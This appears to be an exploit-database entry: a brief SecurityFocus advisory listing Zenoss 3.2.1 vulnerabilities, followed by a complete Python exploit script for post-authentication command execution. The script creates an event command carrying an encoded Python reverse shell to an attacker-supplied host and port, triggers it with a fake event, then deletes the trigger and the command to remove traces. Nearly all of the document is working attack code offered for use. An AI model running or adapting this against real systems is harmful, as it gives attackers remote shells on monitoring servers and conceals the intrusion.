1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181 | source: https://www.securityfocus.com/bid/54793/info
Zenoss is prone to the following security vulnerabilities:
1. Multiple arbitrary command-execution vulnerabilities
2. Multiple HTML-injection vulnerabilities
3. An open-redirection vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple information-disclosure vulnerabilities
6. A code-execution vulnerability
An attacker can exploit these issues to retrieve arbitrary files, redirect a user to a potentially malicious site, execute arbitrary commands, execute HTML and script code in the context of the affected site, steal cookie-based authentication credentials to perform unauthorized actions in the context of a user's session, or disclose sensitive-information.
Zenoss 3.2.1 and prior are vulnerable.
# Zenoss <= 3.2.1 Remote Post-Authentication Command Execution #################
# o Requires: Credentials for a user with "ZenManager" or "Manager" roles.
# o Tested: Zenoss 3.2.1
# o Default port: 8080
# Brendan Coles <bcoles at gmail dot com> # 2012-03-14
################################################################################
import socket, sys, random, time, re
#verbose = True
verbose = False
# usage
if len(sys.argv) < 6:
print "Zenoss <= 3.2.1 Remote Post-Authentication Command Execution"
print "[*] Usage: python "+sys.argv[0]+" <RHOST> <RPORT> <username> <password> <LHOST> <LPORT>"
print "[*] Example: python "+sys.argv[0]+" 192.168.1.10 8080 zenoss zenoss 192.168.1.1 4444"
sys.exit(0)
# zenoss details
RHOST = sys.argv[1]
RPORT = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
# reverse shell
LHOST = sys.argv[5]
LPORT = int(sys.argv[6])
# random file name
filename = ""
for i in range(0,random.randint(10,20)):
filename = filename+chr(random.randint(97,122))
# connect to RHOST:RPORT
try:
socket.inet_aton(RHOST)
except socket.error:
print "[-] Error: Could not create socket."
sys.exit(1)
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((RHOST,RPORT))
except:
print "[-] Error: Could not connect to server"
sys.exit(1)
# Login and get cookie
if verbose: print "[*] Logging in"
request = "GET /zport/acl_users/cookieAuthHelper/login?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
# get ginger cookie
m = re.search('(__ginger_snap=".+";)', data)
if not m:
raise Exception("[-] Error: Could not retrieve __ginger_snap cookie value")
else:
ginger_cookie = str(m.group(1))
except:
print "[-] Error: Login failed"
sys.exit(1)
# Add empty command to web interface
if verbose: print "[*] Adding command to Zenoss"
request = "GET /zport/dmd/ZenEventManager/commands/?id="+filename+"&manage_addCommand%3Amethod=+Add+&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
m = re.search('(Bobo-Exception-Type: Unauthorized)', data)
if m: raise Exception("[-] Error: Incorrect username/password")
else: print "[+] Added command to Zenoss successfully"
except:
print "[-] Error: Adding command to Zenoss failed"
sys.exit(1)
# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)
# Edit command to drop a python reverse shell request in /tmp/
if verbose: print "[*] Updating command with payload"
postdata = "zenScreenName=editEventCommand.pt&enabled%3Aboolean=True&defaultTimeout%3Aint=60&delay%3Aint=1&repeatTime%3Aint=15&command=echo+%22import+socket%2Csubprocess%2Cos%3Bhost%3D%5C%22"+LHOST+"%5C%22%3Bport%3D"+str(LPORT)+"%3Bs%3Dsocket.socket%28socket.AF_INET%2Csocket.SOCK_STREAM%29%3Bs.connect%28%28host%2Cport%29%29%3Bos.dup2%28s.fileno%28%29%2C0%29%3B+os.dup2%28s.fileno%28%29%2C1%29%3B+os.dup2%28s.fileno%28%29%2C2%29%3Bp%3Dsubprocess.call%28%5B%5C%22%2Fbin%2Fsh%5C%22%2C%5C%22-i%5C%22%5D%29%3B%22+%3E+%2Ftmp%2F"+filename+".py%20%26%26%20chmod%20%2bx%20%2Ftmp%2F"+filename+".py%20%26%26%20python%20%2Ftmp%2F"+filename+".py&clearCommand=&add_filter=&manage_editEventCommand%3Amethod=+Save+"
request = "POST /zport/dmd/ZenEventManager/commands/"+filename+"?__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\nX-Requested-With: XMLHttpRequest\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: "+str(len(postdata))+"\r\n\r\n"+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
# get zope cookie
m = re.search('(_ZopeId=".+";)', data)
if not m: raise Exception("[-] Error: Could not retrieve _ZopeId cookie value")
else:
zope_cookie = str(m.group(1))
print "[+] Sent payload successfully"
except:
print "[-] Error: Sending payload failed"
sys.exit(1)
# Wait for command to be saved
wait = 5
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)
# Send trigger event and get event id
if verbose: print "[*] Sending trigger event"
postdata = '{"action":"EventsRouter","method":"add_event","data":[{"summary":"'+filename+'","device":"'+filename+'","component":"'+filename+'","severity":"Info","evclasskey":"","evclass":""}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
# get trigger event id "evid"
m = re.search('"evid": "(.+)"', data)
evid = ""
if not m: raise Exception("[-] Error: Sending trigger event failed")
else:
evid = str(m.group(1))
print "[+] Sent trigger event successfully"
except:
print "[-] Error: Sending trigger event failed"
# Wait for command to execute
wait = 60
if verbose: print "[*] Waiting "+str(wait)+" seconds"
time.sleep(wait)
# Delete trigger from web interface
if verbose: print "[*] Deleting the trigger"
postdata = '{"action":"EventsRouter","method":"close","data":[{"evids":["'+evid+'"],"excludeIds":{},"selectState":null,"field":"component","direction":"ASC","params":"{\\"severity\\":[5,4,3,2],\\"eventState\\":[0,1]}","asof":0}],"type":"rpc","tid":0}'
request = "POST /zport/dmd/Events/evconsole_router HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+'\r\nX-Requested-With: XMLHttpRequest\r\nCookie: '+ginger_cookie+' '+zope_cookie+'\r\nContent-Type: application/json; charset=UTF-8\r\nContent-Length: '+str(len(postdata))+'\r\n\r\n'+postdata
try:
# send request
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
print "[+] Deleted trigger successfully"
except:
print "[-] Error: Deleting trigger failed"
# Delete command from web interface
if verbose: print "[*] Deleting the command from Zenoss"
request = "GET /zport/dmd/ZenEventManager?zenScreenName=listEventCommands&redirect=false&ids%3Alist="+filename+"&id=&manage_deleteCommands%3Amethod=Delete&__ac_name="+username+"&__ac_password="+password+" HTTP/1.1\r\nHost: "+RHOST+":"+str(RPORT)+"\r\n\r\n"
try:
s.sendto(request, (RHOST, RPORT))
data = s.recv(1024)
if verbose: print str(data)+"\r\n"
print "[+] Deleted command from Zenoss successfully"
except:
print "[-] Error: Deleting command failed"
print "[+] You should now have a reverse shell at "+LHOST+":"+str(LPORT)
print "[+] Don't forget to delete /tmp/"+filename+".py"
|